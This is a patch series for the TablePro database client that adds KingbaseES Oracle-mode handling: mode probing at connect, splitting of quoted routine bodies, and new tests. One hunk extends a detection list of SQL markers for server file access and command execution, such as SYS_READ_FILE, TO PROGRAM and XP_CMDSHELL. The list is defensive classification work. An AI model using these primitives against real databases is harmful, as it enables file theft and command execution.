+ @Test("Run Statement takes the whole block once the session reports Oracle mode")
+ func runStatementFollowsTheSession() async throws {
+ let model = Model()
+ let connection = TestFixtures.makeConnection(database: "app", type: .kingbasees)
+ let editor = SQLEditorController(input: SQLEditorInput(
+ text: Binding(get: { model.text }, set: { model.text = $0 }),
+ cursorPositions: Binding(get: { model.cursorPositions }, set: { model.cursorPositions = $0 }),
+ databaseType: .kingbasees,
+ connectionId: connection.id,
+ onRunStatement: { sql, _ in
+ model.ran.append(sql)
+ return false
+ }
+ ))
+ defer { editor.teardown() }
+ let window = NSWindow(
+ contentRect: NSRect(x: 0, y: 0, width: 600, height: 400),
+ styleMask: [.titled],
+ backing: .buffered,
+ defer: false
+ )
+ window.isReleasedWhenClosed = false
+ window.contentView = editor.textViewController.view
+ defer { window.orderOut(nil) }
+ let textView = try #require(editor.textViewController.textView)
+ try await waitUntil {
+ window.contentView?.layoutSubtreeIfNeeded()
+ return textView.window != nil
+ }
+
+ #expect(runStatementAtCaret(in: editor, model: model) == "y := 2;")
+
+ let driver = ScriptAnsweringDriver(
+ connection: connection,
+ sessionLexicalState: TestGrammar.kingbaseESOracleSession
+ )
+ var session = ConnectionSession(connection: connection)
+ session.driver = driver
+ DatabaseManager.shared.injectSession(session, for: connection.id)
+ defer { DatabaseManager.shared.removeSession(for: connection.id) }
+ try await waitUntil { editor.coordinator.lexicalGrammar == TestGrammar.kingbaseESOracle }
+
+ let block = try #require(runStatementAtCaret(in: editor, model: model))
+ #expect(block.hasPrefix("BEGIN\n x := 1;\n y := 2;\nEND"))
+ #expect(!block.contains("/"))
+ }
+}
diff --git a/apple/scripts/probes/check-kingbasees.sh b/apple/scripts/probes/check-kingbasees.sh
index 90be45414b..8594adadf8 100755
--- a/apple/scripts/probes/check-kingbasees.sh
+++ b/apple/scripts/probes/check-kingbasees.sh
@@ -34,8 +34,6 @@ let package = Package(
"CLibPQ",
.product(name: "TableProPluginKit", package: "TableProCore"),
.product(name: "TableProCoreTypes", package: "TableProCore"),
- .product(name: "TableProQuery", package: "TableProCore"),
- .product(name: "TableProModels", package: "TableProCore"),
.product(name: "TableProKerberos", package: "TableProCore"),
.product(name: "TableProPostgreSQLCore", package: "TableProCore"),
.product(name: "TableProSQLVocabulary", package: "TableProCore"),
diff --git a/apple/scripts/probes/kingbasees-probe.swift b/apple/scripts/probes/kingbasees-probe.swift
index 9d21ce75e2..1e680a45e8 100644
--- a/apple/scripts/probes/kingbasees-probe.swift
+++ b/apple/scripts/probes/kingbasees-probe.swift
@@ -1,8 +1,5 @@
import Foundation
-import TableProCoreTypes
-import TableProModels
import TableProPluginKit
-import TableProQuery
import TableProSQLGrammar
@main
@@ -32,26 +29,6 @@ struct KingbaseESProbe {
exit(probe.failed == 0 ? 0 : 1)
}
- static func generatedFiltersMatch(driver: any PluginDatabaseDriver, table: String) async throws -> Bool {
- guard let dialect = KingbaseESPlugin.sqlDialect else { return false }
- let generator = FilterSQLGenerator(
- dialect: dialect, databaseType: DatabaseType(rawValue: "KingbaseES")
- )
- let columns = [
- ColumnInfo(name: "flag", typeName: "bool"),
- ColumnInfo(name: "amount", typeName: "numeric(12,2)")
- ]
- let clause = generator.generateWhereClause(
- from: [
- TableFilter(columnName: "flag", value: "1"),
- TableFilter(columnName: "amount", value: "1234.50")
- ], logicMode: .and, columns: columns
- )
- print("Generated filter: \(clause)")
- guard clause == "WHERE \"flag\" = '1' AND \"amount\" = '1234.50'" else { return false }
- return try await driver.execute(query: "SELECT id FROM \(table) \(clause)").rows == [[.text("1")]]
- }
-
static func bigintMatches(driver: any PluginDatabaseDriver) async throws -> Bool {
let result = try await driver.executeUserQuery(
query: "SELECT $1::bigint AS imported_integer", rowCap: nil,
@@ -60,30 +37,24 @@ struct KingbaseESProbe {
return result.rows == [[.text("2147483648")]]
}
- mutating func run() async {
- let env = ProcessInfo.processInfo.environment
- let database = env["TP_KINGBASE_DATABASE"] ?? "test"
- let config = DriverConnectionConfig(
- host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1",
- port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432,
- username: env["TP_KINGBASE_USER"] ?? "system",
- password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database
- )
- let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config)
- defer { driver.disconnect() }
- do { try await driver.connect() } catch {
- failed += 1
- print("FAIL connect: \(error)")
- return
- }
- let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText
+ mutating func checkSession(driver: any PluginDatabaseDriver, mode: String?) async {
await check("session facts through protocol witness") {
let result = try await driver.execute(query: "SELECT current_setting('database_mode')")
let mode = result.rows.first?.first?.asText
print("KingbaseES mode=\(mode ?? "unknown"), version=\(driver.serverVersion ?? "unknown")")
guard let facts = driver.sessionLexicalState else { return false }
- return facts.determined.contains(.alternativeQuoting)
- && facts.enabled.contains(.alternativeQuoting) == (mode == "oracle")
+ let oracleFeatures = KingbaseESCompatibilityMode.lexicalFeaturesItDecides
+ return facts.determined.isSuperset(of: oracleFeatures)
+ && facts.enabled.intersection(oracleFeatures) == (mode == "oracle" ? oracleFeatures : [])
+ }
+ await check("mode probe reads pg or oracle") {
+ let setting = try await driver.execute(query: KingbaseESCompatibilityMode.probeQuery).rows.first?.first?.asText
+ let expected: KingbaseESCompatibilityMode? = switch mode {
+ case "pg": .postgreSQL
+ case "oracle": .oracle
+ default: nil
+ }
+ return try KingbaseESCompatibilityMode(setting: setting) == expected
}
await check("mode-aware grammar splits and executes quoted semicolons") {
guard let facts = driver.sessionLexicalState else { return false }
@@ -105,6 +76,67 @@ struct KingbaseESProbe {
}
return true
}
+ }
+
+ // Each column kind and the DESC index here lost its catalog spelling once Oracle mode read `''` as NULL.
+ mutating func checkKeyedTable(driver: any PluginDatabaseDriver, schema: String) async throws {
+ _ = try await driver.execute(query: "CREATE TABLE \(schema).keyed (id integer GENERATED ALWAYS AS IDENTITY PRIMARY KEY, s serial, n integer NOT NULL DEFAULT 7, title text, g integer GENERATED ALWAYS AS (n * 2) STORED)")
+ _ = try await driver.execute(query: "CREATE INDEX keyed_title_desc ON \(schema).keyed (title DESC NULLS LAST)")
+ _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('a')")
+ await check("index keeps its DESC spelling") {
+ let indexes = try await driver.fetchIndexes(table: "keyed", schema: schema)
+ let spelling = indexes.first { $0.name == "keyed_title_desc" }?.ddlMethodAndKeys
+ print("Index spelling: \(spelling ?? "nil")")
+ return spelling?.contains("(title DESC NULLS LAST)") == true
+ }
+ await check("identity, default and generation expression") {
+ let columns = try await driver.fetchColumns(table: "keyed", schema: schema)
+ let byName = Dictionary(uniqueKeysWithValues: columns.map { ($0.name, $0) })
+ return byName["id"]?.isIdentity == true && byName["n"]?.defaultValue == "7"
+ && byName["g"]?.isGenerated == true && byName["g"]?.generationExpression == "(n * 2)"
+ }
+ await check("table DDL keeps column defaults") {
+ let ddl = try await driver.fetchTableDDL(table: "keyed", schema: schema)
+ return ddl.contains("DEFAULT 7") && ddl.contains("DEFAULT nextval(")
+ && ddl.contains("GENERATED ALWAYS AS IDENTITY")
+ }
+ await check("column reorder rebuild runs and keeps keys and defaults") {
+ guard let plan = try await driver.generateColumnReorderPlan(
+ table: "keyed", schema: schema, columns: [], desiredOrder: ["title", "id", "s", "n", "g"]
+ ) else { return false }
+ _ = try await driver.execute(query: "SAVEPOINT reorder")
+ do {
+ for statement in plan.statements { _ = try await driver.execute(query: statement) }
+ _ = try await driver.execute(query: "INSERT INTO \(schema).keyed (title) VALUES ('b')")
+ let row = try await driver.execute(query: "SELECT id, s, n, g FROM \(schema).keyed WHERE title = 'b'")
+ _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder")
+ return row.rows == [[.text("2"), .text("2"), .text("7"), .text("14")]]
+ } catch {
+ _ = try await driver.execute(query: "ROLLBACK TO SAVEPOINT reorder")
+ throw error
+ }
+ }
+ }
+
+ mutating func run() async {
+ let env = ProcessInfo.processInfo.environment
+ let database = env["TP_KINGBASE_DATABASE"] ?? "test"
+ let config = DriverConnectionConfig(
+ host: env["TP_KINGBASE_HOST"] ?? "127.0.0.1",
+ port: Int(env["TP_KINGBASE_PORT"] ?? "55432") ?? 55_432,
+ username: env["TP_KINGBASE_USER"] ?? "system",
+ password: env["TP_KINGBASE_PASSWORD"] ?? "", database: database
+ )
+ let driver: any PluginDatabaseDriver = KingbaseESPlugin().createDriver(config: config)
+ defer { driver.disconnect() }
+ await check("no session lexical state before connect") { driver.sessionLexicalState == nil }
+ do { try await driver.connect() } catch {
+ failed += 1
+ print("FAIL connect: \(error)")
+ return
+ }
+ let mode = try? await driver.execute(query: "SELECT current_setting('database_mode')").rows.first?.first?.asText
+ await checkSession(driver: driver, mode: mode)
await check("database catalog") { try await driver.fetchDatabases().contains(database) }
let schema = "tp_probe_" + UUID().uuidString.replacingOccurrences(of: "-", with: "").lowercased()
let table = "\(schema).sample"
@@ -123,6 +155,7 @@ struct KingbaseESProbe {
return columns.count == 8 && columns.contains { $0.name == "doubled" && $0.isGenerated }
}
await check("index catalog") { try await driver.fetchIndexes(table: "sample", schema: schema).count >= 2 }
+ try await checkKeyedTable(driver: driver, schema: schema)
await check("foreign key catalog") { try await driver.fetchForeignKeys(table: "sample", schema: schema).count == 1 }
await check("routine catalog and DDL") {
let routines = try await driver.fetchRoutines(schema: schema)
@@ -159,9 +192,6 @@ struct KingbaseESProbe {
let result = try await driver.execute(query: "SELECT flag,payload,title,amount,missing,doubled FROM \(table)")
return result.rows.first == [.text("true"), .bytes(Data([0, 1, 255])), .text("Việt Nam 日本"), .text("1234.50"), .null, .text("2")]
}
- await check("generated boolean and numeric filters") {
- try await Self.generatedFiltersMatch(driver: driver, table: table)
- }
await check("parameterized bigint beyond Int32 range") {
try await Self.bigintMatches(driver: driver)
}
@@ -191,6 +221,7 @@ struct KingbaseESProbe {
}
await check("reconnect") {
driver.disconnect()
+ guard driver.sessionLexicalState == nil else { return false }
try await driver.connect()
try await driver.ping()
return true
From dfbdb8c1ddce593031c3e82203a53c178eaa25b2 Mon Sep 17 00:00:00 2001
From: Ngo Quoc Dat
Date: Tue, 27 Oct 2026 17:43:14 +0700
Subject: [PATCH 6/6] fix(kingbasees): probe the mode inside the bounded
connect and split quoted routine bodies in Oracle mode
---
.../TableProSQLGrammar/PLSQLUnitTracker.swift | 11 ++++++++++
.../SQLStatementBoundaryTracking.swift | 13 +++++++++++-
.../SQLStatementScanner.swift | 5 ++++-
.../SQLLexicalReadingsTests.swift | 18 ++++++++++++++++
.../SQL/Folding/SQLFoldScanner.swift | 7 +++++--
.../SQL/SQLStateChangingFunctions.swift | 5 ++++-
.../KingbaseESPluginDriver.swift | 15 +++++--------
.../LibPQDriverCore.swift | 4 ++--
.../PostgreSQLPluginDriver.swift | 15 ++++++++-----
.../Core/Utilities/SQL/QueryClassifier.swift | 1 +
.../Core/Utilities/SQL/SQLFileParser.swift | 21 ++++++++++++++-----
.../Utilities/SQL/SQLLexicalResolver.swift | 8 +++++++
.../Views/Editor/SQLEditorController.swift | 11 +++++++---
...ft => CompareSyncSessionFamilyTests.swift} | 2 +-
.../ExternalStatementGateTests.swift | 6 +++++-
.../SQL/CatalogChangeClassifierTests.swift | 7 ++-----
.../SQL/SQLFileParserPLSQLTests.swift | 15 +++++++++++++
apple/changelog.d/3855.fixed.md | 1 +
18 files changed, 128 insertions(+), 37 deletions(-)
rename apple/TableProTests/Core/Compare/{CompareSyncEngineFamilyTests.swift => CompareSyncSessionFamilyTests.swift} (97%)
create mode 100644 apple/changelog.d/3855.fixed.md
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift
index deebfc6220..f0c5161f62 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/PLSQLUnitTracker.swift
@@ -184,6 +184,17 @@ public struct PLSQLUnitTracker: SQLStatementBoundaryTracking {
settlePendingBeforeNonWord()
}
+ /// KingbaseES in Oracle mode also takes PostgreSQL's quoted routine body, `AS 'SELECT 1'` or `AS $$ ... $$`, which
+ /// opens no block. Oracle never puts a literal after a subprogram's `IS` or `AS`; a quoted name there still starts
+ /// its declarations.
+ public mutating func observeQuotedToken(opener: UInt16) {
+ if pendingBodyKeyword, opener != SqlLexer.doubleQuote {
+ pendingBodyKeyword = false
+ header = nil
+ }
+ observeOpaqueToken()
+ }
+
/// PL/SQL reads `a . b` as `a.b`, so whitespace leaves a member name a member name.
public mutating func observeGap() {}
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift
index 90d6374010..a3c39e0a67 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementBoundaryTracking.swift
@@ -20,7 +20,8 @@ public enum SQLStatementTerminator: Equatable, Sendable {
/// boundaries without looking ahead.
///
/// Words arrive uppercased. Whitespace and comments arrive as ``observeGap()``; a string literal, a quoted identifier
-/// or a dollar-quoted body arrives as ``observeOpaqueToken()``.
+/// or a dollar-quoted body arrives as ``observeQuotedToken(opener:)``, and any other token no word or symbol describes
+/// as ``observeOpaqueToken()``.
public protocol SQLStatementBoundaryTracking {
/// Whether words still bear on where this statement ends. A reader that has to assemble words itself can stop
/// doing so once this is false, which keeps a plain `INSERT` dump free of the cost.
@@ -36,6 +37,10 @@ public protocol SQLStatementBoundaryTracking {
mutating func observeSymbol(_ symbol: UInt16)
mutating func observeOpaqueToken()
+ /// A quoted token, named by its first character: `'`, `$`, or a prefix such as `E` or `q` for a literal, and `"`,
+ /// a backtick or `[` for a quoted name.
+ mutating func observeQuotedToken(opener: UInt16)
+
/// Whitespace or a comment between two tokens, which keeps a word from continuing the name before it: `x$MERGE`
/// is one name in T-SQL, while `x$` and `MERGE` on the next line are a name and a statement.
mutating func observeGap()
@@ -46,6 +51,12 @@ public protocol SQLStatementBoundaryTracking {
mutating func reset()
}
+public extension SQLStatementBoundaryTracking {
+ mutating func observeQuotedToken(opener: UInt16) {
+ observeOpaqueToken()
+ }
+}
+
public enum SQLStatementBoundaries {
/// The one place a grammar is matched to its statement boundaries, so no reader can pick a different one.
public static func makeTracker(for grammar: SQLLexicalGrammar) -> any SQLStatementBoundaryTracking {
diff --git a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift
index b6d089d98b..0356e206bd 100644
--- a/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift
+++ b/apple/Packages/TableProCore/Sources/TableProSQLGrammar/SQLStatementScanner.swift
@@ -333,7 +333,10 @@ public enum SQLStatementScanner {
tracker.observeGap()
case .executableComment:
hasStatementContent = true
- case .quoted, .parameter:
+ case .quoted:
+ hasStatementContent = true
+ tracker.observeQuotedToken(opener: nsQuery.character(at: span.start))
+ case .parameter:
hasStatementContent = true
tracker.observeOpaqueToken()
}
diff --git a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
index afe0aa09d3..a4da4e263f 100644
--- a/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
+++ b/apple/Packages/TableProCore/Tests/TableProSQLGrammarTests/SQLLexicalReadingsTests.swift
@@ -143,4 +143,22 @@ struct SQLLexicalReadingsTests {
#expect(readings.execution.contains(.plsqlBlocks))
#expect(readings.all.contains { !$0.contains(.alternativeQuoting) })
}
+
+ // Measured on KingbaseES V9R1C10 in Oracle mode: each of these creates its function, beside PL/SQL bodies.
+ @Test("Oracle-mode KingbaseES ends a quoted routine body at its semicolon and keeps a PL/SQL body whole")
+ func kingbaseOracleModeRoutineBodies() {
+ let oracle = SQLSessionLexicalFacts(
+ determined: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers],
+ enabled: [.alternativeQuoting, .plsqlBlocks, .slashLineTerminators, .dollarAndHashInIdentifiers]
+ )
+ let grammar = SQLLexicalReadings.resolve(databaseTypeId: "KingbaseES", declared: nil, session: oracle).execution
+ func sent(_ sql: String) -> [String] {
+ SQLStatementScanner.executableStatements(in: sql, grammar: grammar).map(\.sql)
+ }
+ #expect(sent("CREATE FUNCTION f() RETURNS integer LANGUAGE SQL AS 'SELECT 42'; SELECT 2;").count == 2)
+ #expect(sent("CREATE FUNCTION f() RETURNS integer AS $$ SELECT 1; $$ LANGUAGE sql; SELECT 2;").count == 2)
+ #expect(sent("CREATE FUNCTION f() RETURNS integer AS $b$ BEGIN RETURN 1; END; $b$ LANGUAGE plpgsql; SELECT 2;").count == 2)
+ #expect(sent("CREATE FUNCTION f RETURN NUMBER AS BEGIN RETURN 1; END;\n/\nSELECT 2;").count == 2)
+ #expect(sent("CREATE FUNCTION f RETURN NUMBER AS \"v\" NUMBER := 1; BEGIN RETURN \"v\"; END;\n/\nSELECT 2;").count == 2)
+ }
}
diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift
index 325c1c55d9..30a7ce249d 100644
--- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift
+++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/Folding/SQLFoldScanner.swift
@@ -243,10 +243,13 @@ private struct Scan {
appendSpanningRegion(.blockComment, start: start, startLine: startLine, end: span.contentEnd)
case .quoted where text.character(at: index) == SqlDollarQuote.dollar:
openStatementIfNeeded()
- boundaries.observeOpaqueToken()
+ boundaries.observeQuotedToken(opener: SqlDollarQuote.dollar)
line += span.newlines
appendSpanningRegion(.quotedBody, start: start, startLine: startLine, end: span.contentEnd)
- case .quoted, .parameter:
+ case .quoted:
+ boundaries.observeQuotedToken(opener: text.character(at: index))
+ line += span.newlines
+ case .parameter:
boundaries.observeOpaqueToken()
line += span.newlines
}
diff --git a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift
index f6ca4fcf81..0d2304802d 100644
--- a/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift
+++ b/apple/Packages/TableProMacCore/Sources/TableProUtilities/SQL/SQLStateChangingFunctions.swift
@@ -2,7 +2,10 @@ import Foundation
public enum SQLStateChangingFunctions {
public static func contains(_ name: String) -> Bool {
- names.contains(name.lowercased())
+ let lowered = name.lowercased()
+ // KingbaseES ships each pg_ function under a sys_ name too, such as sys_terminate_backend (measured on V9R1C10).
+ if lowered.hasPrefix("sys_") { return names.contains("pg_" + lowered.dropFirst(4)) }
+ return names.contains(lowered)
}
private static let names: Set = serverSignals
diff --git a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
index a6892028d6..4a3d8b45ec 100644
--- a/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
+++ b/apple/Plugins/KingbaseESDriverPlugin/KingbaseESPluginDriver.swift
@@ -14,15 +14,10 @@ final class KingbaseESPluginDriver: PostgreSQLPluginDriver, @unchecked Sendable
)
}
- override func connect() async throws {
- try await super.connect()
- do {
- let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery)
- let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText)
- mode.withLock { $0 = detected }
- } catch {
- disconnect()
- throw error
- }
+ override func probeAfterConnect() async throws {
+ let result = try await execute(query: KingbaseESCompatibilityMode.probeQuery)
+ let detected = try KingbaseESCompatibilityMode(setting: result.rows.first?.first?.asText)
+ mode.withLock { $0 = detected }
+ try await super.probeAfterConnect()
}
}
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
index e459e63e6b..8ed4cfd180 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/LibPQDriverCore.swift
@@ -25,7 +25,7 @@ final class LibPQDriverCore: @unchecked Sendable {
var currentSchema: String = "public"
private var selectedSchema: String?
- var onPostConnect: (@Sendable () async -> Void)?
+ var onPostConnect: (@Sendable () async throws -> Void)?
/// Set by `LibPQBackedDriver` for the span of one connect, so every driver built on this
/// core reports its handshake steps without having to thread a parameter through its own
@@ -124,7 +124,7 @@ final class LibPQDriverCore: @unchecked Sendable {
currentSchema = selectedSchema
}
- await onPostConnect?()
+ try await onPostConnect?()
try await pqConn.finishConnecting()
try Task.checkCancellation()
} onCancel: {
diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
index 432302ee96..e7b0c72983 100644
--- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
+++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift
@@ -62,15 +62,20 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable {
func connect() async throws {
core.onPostConnect = { [weak self] in
- await self?.probeSessionFacts()
- await self?.probeCatalogPresence()
- await self?.probePostgisOids()
- await self?.probeEnumOids()
- await self?.probeVectorTypes()
+ try await self?.probeAfterConnect()
}
try await core.connect()
}
+ /// Runs inside the connect's deadline and cancellation, before the connection is handed out.
+ func probeAfterConnect() async throws {
+ await probeSessionFacts()
+ await probeCatalogPresence()
+ await probePostgisOids()
+ await probeEnumOids()
+ await probeVectorTypes()
+ }
+
private func probeCatalogPresence() async {
do {
let result = try await core.execute(query: PostgreSQLCatalogPresence.probeQuery)
diff --git a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
index b1f770ca6e..0669a1d8ae 100644
--- a/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
+++ b/apple/TablePro/Core/Utilities/SQL/QueryClassifier.swift
@@ -303,6 +303,7 @@ private extension QueryClassifier {
static let filesystemMarkers: [String] = [
"INTO OUTFILE", "INTO DUMPFILE", "TO PROGRAM", "FROM PROGRAM", "VACUUM INTO",
"LOAD_FILE(", "PG_READ_FILE(", "PG_READ_BINARY_FILE(", "PG_LS_DIR(",
+ "SYS_READ_FILE(", "SYS_READ_BINARY_FILE(", "SYS_LS_DIR(",
"LO_IMPORT(", "LO_EXPORT(", "PG_FILE_WRITE(", "LOAD_EXTENSION(",
"READFILE(", "WRITEFILE(", "FN_GET_AUDIT_FILE(", "XP_CMDSHELL", "SP_OACREATE"
]
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift
index c465dee946..132c1c7e17 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLFileParser.swift
@@ -298,6 +298,16 @@ final class SQLFileParser: Sendable {
flushWord(&ctx)
}
guard SqlBlockStructure.startsWord(nsBuffer, at: i, length: bufLen, grammar: ctx.grammar) else { return .none }
+ // `E'...'` is a literal, and the escape-string branch that reads it never runs once `E` starts a word.
+ if ctx.grammar.contains(.escapeStringPrefix), char == kCapitalE || char == kSmallE,
+ !SQLNonCodeSpan.isWordUnit(ctx.previousUnit) {
+ if i + 1 < bufLen {
+ if nsBuffer.character(at: i + 1) == kSingleQuote { return .none }
+ } else if !ctx.atEndOfInput {
+ ctx.previousUnitInWord = followsWord
+ return .needsMoreData
+ }
+ }
if readsAlternativeQuotes, !SQLNonCodeSpan.isWordUnit(ctx.previousUnit),
let quoteLength = alternativeQuotePrefixLength(nsBuffer, at: i, bufLen: bufLen) {
if quoteLength > 0 {
@@ -425,7 +435,7 @@ final class SQLFileParser: Sendable {
appendRange(&ctx, from: i, to: i + prefixLength, in: nsBuffer)
ctx.alternativeQuoteCloser = alternativeQuoteCloser(for: nsBuffer.character(at: i + prefixLength - 1))
ctx.state = .inAlternativeQuote
- ctx.boundaries?.observeOpaqueToken()
+ ctx.boundaries?.observeQuotedToken(opener: char)
i += prefixLength
return StepResult(advanced: true, deferred: false)
case .none:
@@ -479,6 +489,7 @@ final class SQLFileParser: Sendable {
ctx.state = .inSingleQuotedString
ctx.quoteChar = kSingleQuote
ctx.backslashEscapesActive = true
+ ctx.boundaries?.observeQuotedToken(opener: char)
i += 2
return StepResult(advanced: true, deferred: false)
}
@@ -488,7 +499,7 @@ final class SQLFileParser: Sendable {
ctx.hasStatementContent, ctx.statementStartLine, ctx.currentLine)
appendChar(char, to: ctx.currentStatement)
ctx.state = .inBracketedIdentifier
- ctx.boundaries?.observeOpaqueToken()
+ ctx.boundaries?.observeQuotedToken(opener: char)
return StepResult(advanced: false, deferred: false)
}
@@ -501,7 +512,7 @@ final class SQLFileParser: Sendable {
let openerRange = NSRange(location: i, length: length)
target.append(nsBuffer.substring(with: openerRange))
}
- ctx.boundaries?.observeOpaqueToken()
+ ctx.boundaries?.observeQuotedToken(opener: char)
ctx.state = .inDollarQuote
ctx.dollarTag = tag
i += length
@@ -525,7 +536,7 @@ final class SQLFileParser: Sendable {
}
if let advanced = processQuoteOpen(&ctx, char: char, nextChar: nextChar) {
- ctx.boundaries?.observeOpaqueToken()
+ ctx.boundaries?.observeQuotedToken(opener: char)
if advanced { i += 2 }
return StepResult(advanced: advanced, deferred: false)
}
@@ -708,7 +719,7 @@ final class SQLFileParser: Sendable {
ctx.state = .inTripleQuotedString
ctx.quoteChar = quote
ctx.backslashEscapesActive = ctx.grammar.backslashEscapes(inQuote: quote)
- ctx.boundaries?.observeOpaqueToken()
+ ctx.boundaries?.observeQuotedToken(opener: quote)
}
/// Runs a triple-quoted literal to the three quotes that close it, holding back a quote or a backslash the buffer
diff --git a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
index a32a845847..3d5fd13cc5 100644
--- a/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
+++ b/apple/TablePro/Core/Utilities/SQL/SQLLexicalResolver.swift
@@ -31,6 +31,14 @@ enum SQLLexicalResolver {
readings(for: databaseType, session: sessionState(for: connectionId)).execution
}
+ /// The grammar for text bound to `scope`, read from the driver holding that database: a connection that keeps one
+ /// session per database can hold different session facts on each.
+ @MainActor
+ static func executionGrammar(for databaseType: DatabaseType, scope: DatabaseScope) -> SQLLexicalGrammar {
+ readings(for: databaseType, session: DatabaseManager.shared.sessionDriver(holding: scope)?.sessionLexicalState)
+ .execution
+ }
+
/// What the connected driver read from its session, or `nil` while `connectionId` has none.
@MainActor
static func sessionState(for connectionId: UUID) -> PluginSessionLexicalState? {
diff --git a/apple/TablePro/Views/Editor/SQLEditorController.swift b/apple/TablePro/Views/Editor/SQLEditorController.swift
index 7af988c98d..1b218c27bc 100644
--- a/apple/TablePro/Views/Editor/SQLEditorController.swift
+++ b/apple/TablePro/Views/Editor/SQLEditorController.swift
@@ -175,9 +175,14 @@ final class SQLEditorController {
/// PostgreSQL with `standard_conforming_strings` off each split text differently from the engine's default.
private func refreshSessionGrammar() {
guard let databaseType = input.databaseType else { return }
- let grammar = input.connectionId.map {
- SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: $0)
- } ?? databaseType.lexicalGrammar
+ let grammar: SQLLexicalGrammar
+ if let scope = input.databaseScope {
+ grammar = SQLLexicalResolver.executionGrammar(for: databaseType, scope: scope)
+ } else if let connectionId = input.connectionId {
+ grammar = SQLLexicalResolver.executionGrammar(for: databaseType, connectionId: connectionId)
+ } else {
+ grammar = databaseType.lexicalGrammar
+ }
guard grammar != coordinator.sessionGrammar else { return }
coordinator.setSessionGrammar(grammar)
(foldProvider as? SQLLineFoldProvider)?.grammar = grammar
diff --git a/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift
similarity index 97%
rename from apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift
rename to apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift
index 843c1103d7..0ab6f306dc 100644
--- a/apple/TableProTests/Core/Compare/CompareSyncEngineFamilyTests.swift
+++ b/apple/TableProTests/Core/Compare/CompareSyncSessionFamilyTests.swift
@@ -3,7 +3,7 @@ import Foundation
import TableProPluginKit
import Testing
-struct CompareSyncEngineFamilyTests {
+struct CompareSyncSessionFamilyTests {
private static let oracleMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [.plsqlBlocks])
private static let pgMode = PluginSessionLexicalState(determined: [.plsqlBlocks], enabled: [])
diff --git a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift
index 262e470279..3bcb48a356 100644
--- a/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift
+++ b/apple/TableProTests/Core/Execution/ExternalStatementGateTests.swift
